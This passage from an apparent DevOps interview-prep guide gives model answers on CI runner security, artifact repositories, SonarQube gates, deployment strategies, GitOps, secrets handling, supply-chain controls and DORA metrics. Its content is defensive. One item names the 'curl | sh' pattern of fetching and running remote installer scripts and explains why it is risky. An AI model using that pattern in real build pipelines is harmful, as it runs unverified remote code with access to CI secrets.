settings.xmlserver with headerJob-Tokenand value${env.CI_JOB_TOKEN}. - Run
mvn deploy -s ci_settings.xml.
Why → The job token is short-lived and scoped to the pipeline.
Interview tip → Know that CI_JOB_TOKEN access to other projects is allow-list based.
Q124 A scheduled pipeline should skip when there are no changes, and only specific users can manually run production jobs.
Intermediate
Situation read → Control triggers and actors.
What I'd do →
- Combine
rules:changeswith$CI_PIPELINE_SOURCE == "schedule"where needed. - Mark
productionas a protected environment with allowed deployers and optional approvals. - Restrict who can run manual jobs by protecting the branch and environment.
Why → Roles are enforced by the platform, not by job code.
Interview tip → Protected environments support multi-approver rules.
Q125 A shared runner executes jobs from untrusted forks. What are the risks and mitigations?
Advanced
Situation read → External code on shared infrastructure.
What I'd do →
- Run fork MR pipelines only after maintainer approval, and do not expose protected variables to them.
- Use ephemeral, isolated runners (Kubernetes pods or autoscaled VMs), no Docker socket binding, and no privileged mode.
- Restrict network egress from runners and avoid long-lived credentials on runner hosts.
Why → CI runners execute arbitrary code by design.
Interview tip → Mention "runner is the trust boundary".
Builds, Artifacts, Nexus, SonarQube and Testing
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q126 A Maven project resolves dependencies from Maven Central on every build and a left-pad style outage would stop all builds.
Beginner
Situation read → Direct dependency on a public registry.
What I'd do →
- Run Nexus Repository with a
maven-centralproxy repo and amaven-publicgroup repo. - Add a mirror in
settings.xml:
<mirror>
<id>nexus</id>
<mirrorOf>*</mirrorOf>
<url>https://nexus.example.com/repository/maven-public/</url>
</mirror>- Give CI a read-only account and restrict outbound internet from agents.
Why → Cached artifacts keep builds working during outages and give you one audit point.
Interview tip → mirrorOf * sends all requests through Nexus.
Q127 You must publish snapshot and release artifacts without overwriting a released version.
Intermediate
Situation read → Release immutability.
What I'd do →
- Create separate Nexus hosted repos:
maven-snapshots(version policy Snapshot) andmaven-releases(Release, deployment policy "Disable redeploy"). - Configure
distributionManagementin the POM for both and usemvn deploy. - Use CI credentials with deploy rights only on those repos.
Why → A released version that can change breaks reproducibility and trust.
Interview tip → "Released artifacts are immutable; snapshots are not."
Q128 Every merge to main should produce a unique semantic version automatically.
Intermediate
Situation read → Versioning without manual edits.
What I'd do →
- Adopt Conventional Commits and a tool like
semantic-releaseorrelease-pleaseto compute the next version from commit types. - Tag, publish the artifact and create release notes in the same pipeline.
- For services, also tag images with
<semver>and the commit SHA.
Why → Version numbers become a function of history, removing human error.
Interview tip → Squash-merge with a good PR title keeps commit-based versioning clean.
Q129 An npm build is non-reproducible: different versions install on different days.
Beginner
Situation read → Missing or ignored lockfile.
What I'd do →
- Commit
package-lock.jsonand usenpm ciin CI, which fails if the lockfile andpackage.jsondisagree. - Pin the Node version (
.nvmrcorengines). - Point
.npmrcat the Nexus npm proxy.
Why → npm ci installs exactly what is locked and wipes node_modules first.
Interview tip → npm install may rewrite the lockfile; npm ci never does.
Q130 The SonarQube quality gate must block merging PRs that add new bugs, vulnerabilities or uncovered code.
Intermediate
Situation read → Gate on new code, not the legacy backlog.
What I'd do →
- Define the gate on "Clean as You Code" conditions: no new bugs/vulnerabilities, coverage on new code at least 80%, duplications on new code under 3%.
- In CI run the scanner with
-Dsonar.qualitygate.wait=trueso the step fails on a failed gate. - Decorate the PR and make the Sonar check required.
Why → New-code gating prevents debt from growing without demanding a big-bang cleanup.
Interview tip → Mention "Clean as You Code".
Q131 Coverage shows 0% in SonarQube although tests run in CI.
Intermediate
Situation read → The scanner cannot find the coverage report.
What I'd do →
- Generate the report before the scan (JaCoCo XML,
lcov.info,coverage.xml). - Pass its path:
-Dsonar.coverage.jacoco.xmlReportPaths=target/site/jacoco/jacoco.xmlor-Dsonar.javascript.lcov.reportPaths=coverage/lcov.info. - Make sure the scanner runs in the same workspace after tests and with matching source paths.
Why → SonarQube imports coverage; it does not compute it.
Interview tip → Path mismatches inside containers are the common cause.
Q132 A big legacy codebase fails every Sonar gate. Teams ignore the tool. How do you adopt it?
Intermediate
Situation read → Adoption by overwhelming the team.
What I'd do →
- Set the new code definition to "since a recent date/previous version" and enforce the gate only on new code.
- Triage the top critical issues and security hotspots with owners.
- Gradually tighten thresholds each quarter and publish trend dashboards.
Why → Developers accept rules that apply to changes they control.
Interview tip → Do not demand zero legacy issues.
Q133 Integration tests are slow and flaky because they share one QA database.
Intermediate
Situation read → Shared mutable state.
What I'd do →
- Switch to per-run isolated dependencies with Testcontainers or service containers.
- Seed using migrations (Flyway/Liquibase) so schema changes are tested too.
- Make tests independent: unique data per test and no order assumptions.
Why → Isolation removes interference between runs and makes failures reproducible.
Interview tip → Testing migrations in CI catches broken schema changes early.
Q134 How do you structure test stages so developers get fast feedback but you still get deep coverage?
Beginner
Situation read → Test pyramid in the pipeline.
What I'd do →
- On every push: lint, unit tests and build (minutes).
- On PR: add integration tests and a quick security scan.
- Post-merge or nightly: full end-to-end, performance and long scans.
- After deploy: smoke tests against the live environment.
Why → Fast tests gate every change, and slow tests run where their cost is justified.
Interview tip → Describe the pipeline as feedback loops of increasing cost.
Q135 A team has a test suite where 5% of tests fail randomly. How do you deal with flaky tests?
Intermediate
Situation read → Flakiness erodes trust in CI.
What I'd do →
- Detect: track pass/fail history per test and flag those that flip with no code change.
- Quarantine: move flaky tests to a non-blocking job with an owner and ticket.
- Fix root causes: shared state, time, ordering, network, async waits.
- Do not auto-retry everything; allow limited retry that is reported.
Why → Silent retries hide problems while quarantine keeps the gate trustworthy.
Interview tip → Report flaky rate as a metric.
Q136 You need to publish a Docker image to Nexus and also keep a copy of base images internally.
Intermediate
Situation read → Private registry plus proxy.
What I'd do →
- Create a Docker hosted repo for your images and a Docker proxy repo for Docker Hub, grouped under one endpoint.
- Configure CI to pull base images from the proxy; set
FROM nexus.example.com/library/node:22. - Add cleanup policies to expire old tags and run the compact blob store task.
Why → This avoids Docker Hub rate limits and gives control over upstream images.
Interview tip → Cleanup policies stop storage from growing without bound.
Q137 The Maven build is slow on multi-module projects.
Intermediate
Situation read → Serial modules and repeated work.
What I'd do →
- Build in parallel with
mvn -T 1C -B verify. - Skip unchanged modules with
-pland-amd(also-make-dependents) based on the change set. - Separate fast unit tests from slow integration tests (Surefire vs Failsafe).
- Use the Maven daemon (
mvnd) locally and a dependency proxy in CI.
Why → Parallelism and building only what is affected gives most of the gain.
Interview tip → -amd and -pl show Maven fluency.
Q138 A security policy demands every build records a list of its dependencies.
Advanced
Situation read → SBOM generation.
What I'd do →
- Generate an SBOM in CI:
syft packages dir:. -o cyclonedx-json > sbom.jsonor the CycloneDX Maven/npm plugins. - Attach it to the build as an artifact and attest it to the image with
cosign attest. - Scan the SBOM with Grype or Dependency-Track continuously.
Why → An SBOM lets you answer "are we affected?" within minutes when a new CVE drops.
Interview tip → Log4Shell is the usual motivating example.
Q139 You want to fail the build on high-severity vulnerabilities in a container image.
Beginner
Situation read → Image scanning gate.
What I'd do →
trivy image --severity HIGH,CRITICAL --ignore-unfixed --exit-code 1 app:$TAGAdd a .trivyignore with expiry-dated, reviewed exceptions.
Why → --ignore-unfixed avoids blocking on issues with no available fix, and the exit code fails the step.
Interview tip → Exceptions need an owner and an expiry.
Q140 Artifacts in Nexus consume 5 TB and keep growing.
Intermediate
Situation read → No lifecycle policy.
What I'd do →
- Create cleanup policies: delete snapshots older than 30 days, keep the last N, delete unreferenced Docker layers.
- Schedule "Admin - Compact blob store" and "Docker - Delete unused manifests and images" tasks.
- Set blob store quotas and alerts, and keep release artifacts by policy only.
Why → Deleting components does not free space until the blob store is compacted.
Interview tip → Cleanup policy plus compact task is the pair to mention.
Q141 A Gradle or Maven build must be reproducible byte for byte. What do you do?
Advanced
Situation read → Timestamps and ordering make artifacts differ.
What I'd do →
- Set
project.build.outputTimestampin Maven (orpreserveFileTimestamps = falseandreproducibleFileOrder = truein Gradle archive tasks). - Pin the JDK and tool versions, build in a pinned container, and lock dependencies.
- Verify by building twice and comparing digests (
sha256sum) or usingdiffoscope.
Why → Reproducible builds let third parties verify that binaries match the source.
Interview tip → Mention SLSA and the verification step.
Q142 Developers run mvn deploy locally and push artifacts that CI never built.
Advanced
mvn deploy locally and push artifacts that CI never built.Situation read → Artifact provenance gap.
What I'd do →
- Remove deploy credentials from developers; only the CI service account can write to release repos.
- Developers may write to a separate sandbox/snapshot repo if needed.
- Add provenance metadata and verify it before promotion.
Why → Production artifacts must come from a controlled, auditable build.
Interview tip → Separate who can build from who can publish.
Q143 Tests need secrets (API keys for a sandbox). How do you provide them safely in CI?
Intermediate
Situation read → Test-time secrets.
What I'd do →
- Use dedicated sandbox keys with minimal scope and a rotation schedule.
- Inject at runtime through the CI secret store/Vault, not committed
.envfiles. - Block secret availability on fork PRs.
- Prefer mocks or contract tests where the real service is not needed.
Why → Test credentials are still credentials and still leak.
Interview tip → Contract tests (Pact) reduce reliance on live third parties.
Q144 How would you add performance regression detection to CI without making it flaky?
Advanced
Situation read → Noisy benchmarks on shared runners.
What I'd do →
- Run load tests (k6 or Gatling) against a dedicated, stable environment nightly, not on every PR.
- Compare to a moving baseline with thresholds (
thresholds: { http_req_duration: ['p(95)<300'] }in k6). - Track trends in a time-series dashboard and alert on sustained regressions.
Why → Shared CI hardware is too noisy for strict per-PR performance gates.
Interview tip → Say you gate on trends and percentiles, not single runs.
Q145 A Docker build step takes 15 minutes because layers are rebuilt every time.
Beginner
Situation read → Poor layer ordering or no cache on ephemeral runners.
What I'd do →
- Order the Dockerfile so rarely changing steps come first: copy lockfile, install dependencies, then copy source.
- Use multi-stage builds and
.dockerignore. - Export/import cache:
--cache-to type=registry,ref=...and--cache-from.
Why → Ephemeral agents have no local cache, so a remote cache restores the benefit.
Interview tip → Layer order is the cheapest optimisation.
Q146 Mobile or desktop app builds need signing certificates in CI.
Intermediate
Situation read → Protecting signing keys.
What I'd do →
- Store the keystore as an encrypted secret and decode it to a temp file in the job, deleting it afterwards.
- Restrict signing to release branches/tags on protected, ephemeral runners.
- Use cloud HSM/KMS-backed signing where possible.
Why → A leaked signing key lets attackers publish trusted malicious builds.
Interview tip → Separate the "build" job from a narrowly scoped "sign" job.
Q147 Developers ask whether to use a mono-repo or many repos for CI purposes.
Advanced
Situation read → An architectural decision with CI consequences.
What I'd do →
- Mono-repo: atomic cross-service changes and shared tooling, but requires change detection, caching, ownership rules (CODEOWNERS) and a build system that scales.
- Poly-repo: independent pipelines and permissions, but dependency version drift and cross-repo changes are harder.
- Choose based on team structure and release independence.
Why → CI cost model and org boundaries should drive the decision.
Interview tip → Mention Conway's law.
Q148 A build uses latest tags for base images and suddenly breaks without code changes.
Beginner
latest tags for base images and suddenly breaks without code changes.Situation read → Unpinned inputs.
What I'd do →
- Pin base images by version and digest:
FROM node:22.11-slim@sha256:.... - Let Renovate or Dependabot open PRs to bump them.
- Pin tool versions in the pipeline too.
Why → Controlled upgrades turn surprise breakages into reviewable PRs.
Interview tip → Pinning plus automated updates is the balanced answer.
Q149 Integration test environment is expensive and idle at night.
Intermediate
Situation read → Always-on cost.
What I'd do →
- Create environments on demand with IaC (Terraform/Helm) inside the pipeline and destroy at the end.
- For shared environments schedule scale-down (KEDA, cron-scaling, or stopping instances).
- Use ephemeral namespaces on a shared cluster with resource quotas.
Why → Pay for the environment only while tests run.
Interview tip → Cost is part of CI/CD design.
Q150 You must ensure unit tests, not just a green build, are present for every new class.
Intermediate
Situation read → Quality enforcement.
What I'd do →
- Enforce coverage on new code with Sonar or
diff-cover(diff-cover coverage.xml --fail-under=80). - Add mutation testing (PIT, Stryker) on critical modules nightly.
- Use PR templates and review checklists as complements.
Why → Coverage on changed lines focuses effort, and mutation tests check assertion quality.
Interview tip → High coverage without assertions is a vanity metric.
Q151 A team needs to build the same Java app for multiple JDK versions.
Beginner
Situation read → Compatibility testing.
What I'd do →
- Use Maven toolchains or CI matrix (
jdk: [17, 21]), compiling with a fixed release flag (maven.compiler.release=17). - Run tests on each JDK; ship the artifact built on the baseline.
Why → release ensures API compatibility, and the matrix proves runtime behaviour.
Interview tip → Release only one artifact; test on many.
Q152 How do you prove to auditors that a given production artifact passed all pipeline checks?
Advanced
Situation read → Evidence trail.
What I'd do →
- Store test reports, scan results, SBOM and approvals as attestations linked to the artifact digest.
- Retain pipeline logs and metadata for the required period in a write-once store.
- Tag deployments with commit, build URL and approver, and verify attestations in admission control.
Why → Evidence tied to an immutable digest is hard to dispute.
Interview tip → Digest-based traceability.
Q153 CI reports "Quality gate passed" but a critical vulnerability reached production through a transitive dependency.
Advanced
Situation read → Gaps in dependency scanning and runtime monitoring.
What I'd do →
- Add SCA (Trivy, OWASP Dependency-Check, Snyk) on every build and nightly against the main branch, since new CVEs appear after merge.
- Keep SBOMs per release in Dependency-Track and alert on new matches.
- Define SLAs for patching by severity and use Renovate for upgrades.
Why → A scan at build time cannot see vulnerabilities disclosed tomorrow.
Interview tip → "Shift left and keep watching."
Q154 A frontend build must publish static assets to S3 and invalidate CloudFront safely.
Intermediate
Situation read → Static deploy with cache control.
What I'd do →
- Build with hashed filenames; upload assets with long cache headers:
aws s3 sync dist/ s3://bucket --cache-control "public,max-age=31536000,immutable" --exclude index.html. - Upload
index.htmllast withno-cache. - Invalidate only
/index.htmlor the changed paths:aws cloudfront create-invalidation --distribution-id $ID --paths /index.html.
Why → Hashed assets never need invalidation, which is faster and cheaper.
Interview tip → Upload order prevents broken pages mid-deploy.
Q155 Developers use different local tool versions than CI. How do you align them?
Beginner
Situation read → Environment drift.
What I'd do →
- Define tool versions in one place:
.tool-versions(asdf/mise), devcontainers, or a shared build image. - Use the same image for local
docker runand CI jobs. - Verify with a CI step that prints versions.
Why → Identical toolchains remove a large class of "works on my machine".
Interview tip → Devcontainers are the modern answer.
Deployment Strategies and GitOps
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q156 You are asked to explain rolling, blue-green and canary to the product team and pick one for a payments API.
Beginner
Situation read → Choose a strategy by risk and cost.
What I'd do →
- Rolling: replace instances gradually; cheap, but old and new versions coexist.
- Blue-green: full parallel environment, instant switch and rollback; double capacity cost.
- Canary: shift 1% → 10% → 50% with metric checks; lowest blast radius.
- For payments I choose canary with automated analysis, falling back to blue-green if the DB change is incompatible.
Why → The cost of failure is high, so we want progressive exposure and fast rollback.
Interview tip → Mention backward-compatible DB changes as the real prerequisite for all three.
Q157 A deployment needs to be rolled back at 2 AM. What does your rollback look like?
Beginner
Situation read → Speed and safety matter.
What I'd do →
- Kubernetes:
kubectl rollout undo deployment/app -n prodandkubectl rollout status deployment/app. - GitOps:
git revert <sha>and let Argo CD/Flux sync, so Git stays the truth. - Verify with health checks and dashboards, then open an incident ticket.
Why → Rollback should be a rehearsed one-command operation, not a rebuild.
Interview tip → Rolling back application code is easy; rolling back data is not, so say that.
Q158 You adopt Argo CD. How do you structure repositories and environments?
Intermediate
Situation read → GitOps layout.
What I'd do →
- Separate the app source repo from a config repo holding manifests (Helm values or Kustomize overlays) per environment:
apps/payments/overlays/{dev,staging,prod}. - CI builds the image, then updates the image tag in the config repo via PR (or Argo CD Image Updater).
- Use an ApplicationSet to generate one Application per env/cluster.
Why → Config changes get separate history, access control and promotion flow.
Interview tip → Do not store manifests in the same repo if you want prod promotion to be gated separately.
Q159 Someone kubectl edits a production deployment; an hour later it reverts. Explain.
Beginner
kubectl edits a production deployment; an hour later it reverts. Explain.Situation read → Argo CD self-heal reverted drift.
What I'd do →
- Check the Application:
argocd app get paymentsshowsOutOfSyncthenSyncedwithselfHeal: true. - Make the change in Git so the desired state matches.
- For emergencies pause sync with
argocd app set payments --sync-policy noneor annotate, and then reconcile through Git.
Why → In GitOps Git is the source of truth and the controller continuously reconciles.
Interview tip → Self-heal plus prune is powerful; know the risk of auto-prune.
Q160 Promoting a release from staging to production in GitOps: what is the mechanism?
Intermediate
Situation read → Promotion is a Git change.
What I'd do →
- After staging is healthy, a promotion job opens a PR copying the verified image digest into
overlays/prod. - Required reviewers approve; merge triggers Argo CD sync to production.
- Optionally use Kargo or Argo Rollouts to manage staged promotion.
Why → A PR gives audit, approval and an easy revert.
Interview tip → Promote the same digest, never rebuild.
Q161 A canary deploy needs automated rollback when the error rate rises.
Advanced
Situation read → Metric-driven progressive delivery.
What I'd do →
- Use Argo Rollouts with a canary strategy:
setWeight: 10,pause: {duration: 5m},analysisstep. - Define an
AnalysisTemplatequerying Prometheus: success ratesum(rate(http_requests_total{status!~"5.."}[5m])) / sum(rate(http_requests_total[5m])) > 0.99. - On failure the Rollout aborts and returns traffic to stable automatically.
Why → Machines react faster than on-call humans, and the blast radius stays small.
Interview tip → Pair with a traffic router (Istio, NGINX, ALB) for precise percentage splits.
Q162 Database schema must change with zero downtime during a rolling deploy.
Advanced
Situation read → Old and new app versions share a DB during rollout.
What I'd do →
- Use expand-contract: first add the new column (nullable), deploy code that writes both, backfill, switch reads, and only later drop the old column.
- Run migrations as a separate pre-deploy job (Flyway/Liquibase) with timeouts and lock awareness.
- Never make a breaking migration in the same release as the code that needs it.
Why → Backward-compatible steps allow safe rollback at every stage.
Interview tip → Expand/contract (parallel change) is the key phrase.
Q163 Feature flags vs canary: when would you use each?
Intermediate
Situation read → Decouple deploy from release.
What I'd do →
- Deploy code dark behind a flag (OpenFeature with LaunchDarkly, Unleash or Flagsmith).
- Enable gradually by user segment, with a kill switch.
- Use canary to validate the binary/infrastructure and flags to validate the feature.
Why → Flags allow instant disable without a redeploy.
Interview tip → Clean up stale flags or they become tech debt.
Q164 Your Helm upgrade failed halfway. What do you do?
Intermediate
Situation read → Partial release state.
What I'd do →
helm history app -n prodto see revisions and status.helm rollback app <rev> -n prod --wait.- Use
helm upgrade --install --atomic --timeout 10min CI so failures roll back automatically. - Inspect with
helm get manifestandkubectl describe.
Why → --atomic rolls back on failure and keeps the release usable.
Interview tip → Know pending-upgrade status recovery.
Q165 Argo CD shows an app permanently OutOfSync due to a field changed by an operator or HPA.
Intermediate
Situation read → Controller-managed fields conflict with Git.
What I'd do →
- Identify the diff:
argocd app diff payments. - Add
ignoreDifferencesfor the field, for example/spec/replicaswhen an HPA scales. - Or remove
replicasfrom the manifest when using an HPA.
Why → Git should not own fields controlled by another controller.
Interview tip → ignoreDifferences with jsonPointers or jqPathExpressions.
Q166 Multi-region deployment: how do you roll out safely?
Advanced
Situation read → Reduce regional blast radius.
What I'd do →
- Deploy in waves: canary region, then 25%, then all, with bake time and automated health gates between waves.
- Use ApplicationSets with sync waves or a progressive promotion tool.
- Keep rollback per region independent and keep global config changes out of the same wave.
Why → A bad release should affect one region, not the world.
Interview tip → Mention "cell-based" or ring deployments.
Q167 Secrets in a GitOps repo: how do you handle them?
Intermediate
Situation read → Git must not hold plaintext secrets.
What I'd do →
- Use External Secrets Operator syncing from AWS Secrets Manager/Vault into Kubernetes Secrets, with only
ExternalSecretobjects in Git. - Or encrypt in Git with Sealed Secrets or SOPS (age/KMS).
- Rotate at the source and let the operator refresh.
Why → Git stores references or ciphertext, never raw values.
Interview tip → ESO keeps secret values out of Git entirely, SOPS keeps them encrypted in Git.
Q168 A deployment pipeline needs a smoke test after rollout and automatic rollback on failure.
Intermediate
Situation read → Post-deploy verification.
What I'd do →
kubectl rollout status deploy/app -n prod --timeout=300s
curl -fsS https://app.example.com/healthz
./smoke-tests.sh || { kubectl rollout undo deploy/app -n prod; exit 1; }In Argo CD use PostSync hook jobs; in Argo Rollouts use analysis.
Why → A deploy is not done until it is verified.
Interview tip → Verify through the real ingress path, not only pod readiness.
Q169 Recreate strategy vs rolling: when is downtime acceptable?
Beginner
Situation read → Some workloads cannot run two versions.
What I'd do →
- Use
strategy: Recreatefor apps with an exclusive resource lock (single-writer volume, schema-incompatible versions) and where a short outage is acceptable. - Use RollingUpdate with
maxSurge/maxUnavailableand readiness probes for stateless services.
Why → Rolling needs version coexistence; if impossible, Recreate is honest and simple.
Interview tip → Readiness probes make rolling updates safe.
Q170 Deployments occasionally take down the service for 30 seconds even with rolling updates.
Advanced
Situation read → Graceful shutdown or readiness gaps.
What I'd do →
- Add a correct readiness probe and
minReadySeconds. - Add
preStop: sleep 10and aterminationGracePeriodSecondslonger than the drain time, so load balancers deregister before SIGTERM. - Set
maxUnavailable: 0and a PodDisruptionBudget. - Ensure the app handles SIGTERM by finishing in-flight requests.
Why → Endpoints removal and SIGTERM race each other, causing dropped connections.
Interview tip → The preStop sleep is a well-known trick.
Q171 How do you deploy the same Helm chart to 5 clusters with small differences?
Intermediate
Situation read → Fleet deployment.
What I'd do →
- One chart, per-cluster values files (
values-prod-eu.yaml) layered on commonvalues.yaml. - Argo CD ApplicationSet with a cluster generator and templated values paths.
- Promote chart version changes through environments.
Why → The templated set scales to many clusters without copy-paste.
Interview tip → Keep differences in data, not in forked charts.
Q172 A new release is stuck: pods stay in ImagePullBackOff right after CI pushed the image.
Beginner
ImagePullBackOff right after CI pushed the image.Situation read → Registry auth or tag mismatch.
What I'd do →
kubectl describe podand read the event:Failed to pull image ... not foundorunauthorized.- Verify the tag exists:
docker manifest inspect registry/app:tag. - Check
imagePullSecretson the ServiceAccount. - Ensure the deploy step ran after the push finished.
Why → The event message tells you which of the three it is.
Interview tip → CI should wait for the push to succeed before updating manifests.
Q173 Management wants a deployment every day but releases currently happen monthly with a long manual checklist.
Advanced
Situation read → Release process is the bottleneck.
What I'd do →
- Automate every checklist item that is mechanical: tests, scans, change records.
- Reduce batch size via trunk-based development and feature flags.
- Add progressive delivery and automatic rollback to reduce fear.
- Measure DORA metrics to show progress.
Why → Small, frequent changes are less risky than large, rare ones.
Interview tip → Frame it as lowering risk per change.
Q174 Which deployment approach for a stateful service such as a database cluster?
Advanced
Situation read → State changes the rules.
What I'd do →
- Use operators (Zalando/CloudNativePG) and StatefulSets with
updateStrategypartitions, upgrading replicas first then failing over the primary. - Take a verified backup/snapshot before the upgrade.
- Test upgrade and rollback in staging with production-like data.
Why → Data format changes may not be reversible, so backups are the real rollback.
Interview tip → Say that rollback for stateful workloads means restore.
Q175 A hotfix must bypass the normal 2-hour pipeline. How do you handle it responsibly?
Intermediate
Situation read → Urgency versus control.
What I'd do →
- Maintain a fast path: hotfix branch, mandatory fast checks (build, unit, critical smoke), one approver, direct promotion.
- Log it and run the full suite right after.
- Review in a post-incident process; do not allow ad-hoc manual deploys.
Why → A defined fast lane avoids shadow processes.
Interview tip → Emergency changes must still leave an audit trail.
Q176 You have to choose between push-based CD (pipeline runs kubectl) and pull-based GitOps.
Intermediate
Situation read → Trade-offs.
What I'd do →
- Pull-based (Argo CD/Flux): the cluster credentials stay inside the cluster, drift is corrected, Git is the audit trail.
- Push-based: simpler for small setups, but CI holds cluster credentials and cannot detect drift.
- I choose pull for production Kubernetes and push for simple VMs or serverless.
Why → Reducing credential exposure and continuous reconciliation are the big wins.
Interview tip → State the trade-off, then pick.
Q177 How would you deploy a serverless function safely (Lambda)?
Intermediate
Situation read → Versioned, shiftable deploys.
What I'd do →
- Publish an immutable version and point an alias (
live) to it. - Use CodeDeploy traffic shifting:
Canary10Percent5Minuteswith CloudWatch alarms for rollback (via SAMDeploymentPreference). - Deploy infrastructure with IaC from the pipeline using OIDC.
Why → Aliases enable weighted traffic and instant rollback.
Interview tip → Versions are immutable, aliases are movable.
Q178 Config changes (not code) cause outages. How do you put them through the pipeline?
Intermediate
Situation read → Config is code.
What I'd do →
- Store config in Git, validate with schema checks and
kubeconform/conftest. - Roll out through the same staged environments and canaries.
- Use checksum annotations so pods restart when ConfigMaps change.
Why → Config rolls deserve the same rigor as code.
Interview tip → Many large outages are config pushes.
Q179 Two teams deploy to the same cluster; one team's bad manifest affected the other.
Advanced
Situation read → Weak multi-tenancy.
What I'd do →
- Namespaces per team with RBAC, ResourceQuotas and LimitRanges, NetworkPolicies.
- Argo CD AppProjects restricting source repos, destinations and allowed resource kinds.
- Admission policies (Kyverno/Gatekeeper) to block cluster-scoped resources and privileged pods.
Why → Platform guardrails prevent one tenant from affecting another.
Interview tip → AppProjects are the GitOps tenancy boundary.
Q180 How do you verify a deployment actually reached users, not only that pods are Ready?
Intermediate
Situation read → Ready does not equal working.
What I'd do →
- Run synthetic checks through the public endpoint after rollout.
- Watch RED metrics (rate, errors, duration) for the new version using a
versionlabel. - Annotate the deploy in Grafana to correlate changes with metrics.
Why → Real traffic confirms what probes cannot.
Interview tip → Deployment markers on dashboards shorten incident triage.
Secrets, Supply Chain and DORA
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q181 A developer committed an AWS key to a public repo. Walk through your response.
Beginner
Situation read → Active compromise until proven otherwise.
What I'd do →
- Deactivate and rotate the key at once:
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name ci-user. - Review CloudTrail for use of that key and revoke sessions.
- Remove it from Git (
git filter-repo) after rotation, and enable push protection and gitleaks in CI. - Document and fix the root cause with OIDC or a vault.
Why → Bots scrape public commits within minutes.
Interview tip → Rotation comes first, cleanup second.
Q182 How do you stop secrets from being committed in the first place?
Intermediate
Situation read → Preventive controls at several layers.
What I'd do →
- Local pre-commit hook with gitleaks or detect-secrets.
- Server-side: GitHub secret scanning with push protection or GitLab secret push protection.
- CI scan on every PR as a backstop.
Why → Layered detection catches what one layer misses.
Interview tip → Prevention beats cleanup.
Q183 The pipeline needs access to 15 different secrets across environments. How do you manage them?
Intermediate
Situation read → Secret sprawl.
What I'd do →
- Central secret manager (Vault, AWS Secrets Manager) organised by environment path.
- CI authenticates with workload identity (OIDC) and a role scoped to the paths for the environment.
- Audit access and rotate on a schedule.
Why → One store with identity-based access is auditable and rotatable.
Interview tip → Avoid copying secrets into each CI project.
Q184 Explain SLSA and how you would raise a pipeline's level.
Advanced
Situation read → Supply-chain maturity framework.
What I'd do →
- Build in a hosted, scripted, ephemeral environment (Build L1-L2) and generate provenance.
- Use a hardened builder where provenance is signed by the platform, not the user-controlled build (Build L3), for example GitHub's
attest-build-provenanceorslsa-github-generator. - Verify provenance before deploy.
Why → Provenance proves what source and builder produced an artifact.
Interview tip → The key point is that signing keys should not be accessible to build steps.
Q185 How do you verify only signed images run in Kubernetes?
Advanced
Situation read → Admission-time enforcement.
What I'd do →
- Sign in CI with
cosign sign(keyless via OIDC). - Install Kyverno with a
verifyImagespolicy requiring the signature from the CI identity and issuer. - Start in
Audit, then switch toEnforce.
Why → Unsigned or foreign images are rejected at the API server.
Interview tip → Mention rolling out in audit mode first.
Q186 A popular npm package your build uses is reported as compromised. What do you do?
Advanced
Situation read → Supply-chain incident.
What I'd do →
- Find affected builds: search lockfiles and SBOMs for the package and version.
- Pin or override to a safe version, block the bad version in Nexus, and rebuild.
- If it ran in CI, treat that environment's secrets as exposed and rotate.
- Check install scripts and review recent network egress.
Why → Installing a package executes code in CI with its secrets.
Interview tip → Mention npm ci --ignore-scripts and cooldown windows for new versions.
Q187 Dependency update PRs pile up. How do you keep dependencies fresh without chaos?
Intermediate
Situation read → Automated updates need triage rules.
What I'd do →
- Renovate or Dependabot with grouped updates, schedule and PR limits.
- Auto-merge patch/minor of low-risk dependencies after tests pass.
- Major updates are reviewed manually.
Why → Small frequent upgrades are easier than annual big-bang upgrades.
Interview tip → Good tests are the prerequisite for auto-merge.
Q188 Define the four DORA metrics and how you would measure them.
Beginner
Situation read → Delivery performance.
What I'd do →
- Deployment frequency: successful production deploys per day, from deployment events.
- Lead time for changes: commit to production, from SCM and deploy timestamps.
- Change failure rate: share of deploys needing rollback/hotfix.
- Time to restore service (failed deployment recovery time): incident start to resolution.
Why → They measure speed and stability together.
Interview tip → Mention that they are team-level indicators, not individual performance scores.
Q189 Leadership wants to use DORA metrics to rank engineers. How do you respond?
Intermediate
Situation read → Goodhart's law risk.
What I'd do →
- Explain that metrics are for teams and systems; ranking people encourages gaming (splitting commits, skipping incident reports).
- Use trends for improvement conversations and pair with qualitative signals.
- Pick one bottleneck at a time to improve.
Why → A measure used as a target stops being a good measure.
Interview tip → Showing judgment here scores well.
Q190 Lead time is 12 days even though CI takes 20 minutes. Where do you look?
Intermediate
Situation read → Waiting time dominates.
What I'd do →
- Break the timeline: PR open, first review, approval, merge, deploy.
- Typically review wait and batching of releases are the big parts.
- Fix with smaller PRs, review SLAs, auto-merge and continuous deployment.
Why → Pipeline speed is rarely the main source of lead time.
Interview tip → Value stream mapping.
Q191 How do you secure the CI/CD system itself as part of the attack surface?
Advanced
Situation read → CI is a high-value target.
What I'd do →
- Least-privilege tokens, short-lived credentials and OIDC.
- Ephemeral isolated runners, restricted egress, pinned actions and images.
- Branch protection, required reviews on pipeline files, and audit logs.
- Separate build and deploy privileges; monitor for anomalous pipeline changes.
Why → Compromising CI often means compromising production.
Interview tip → Reference the OWASP Top 10 CI/CD Security Risks.
Q192 A third party wants to deploy into your production through your pipeline.
Advanced
Situation read → External trust.
What I'd do →
- Do not share credentials; give them PR access to a config repo with review.
- Their changes pass the same policy gates, signed artifact verification and approval.
- Scope deploy identity to their namespace only.
Why → Review and policy let you accept contributions without granting production access.
Interview tip → GitOps makes this natural.
Q193 Pipeline has curl | sh installers pulled at build time. Why is it risky, and what is the fix?
Beginner
curl | sh installers pulled at build time. Why is it risky, and what is the fix?Situation read → Unverified remote code execution.
What I'd do →
- Download a pinned version, verify its checksum or signature (
sha256sum -c), and then install. - Better, bake the tool into the build image.
- Mirror binaries in your artifact repo.
Why → The remote script can change at any moment.
Interview tip → Checksums pinned in Git give verifiable installs.
Q194 How would you handle secrets rotation for a database used by 20 pipelines without downtime?
Advanced
Situation read → Safe rotation.
What I'd do →
- Use dual-credential rotation (two valid users, alternate) or Vault dynamic credentials.
- Pipelines fetch secrets at runtime, so they pick the new value automatically.
- Rotate on a schedule and test the process regularly.
Why → Overlap windows avoid breaking in-flight jobs.
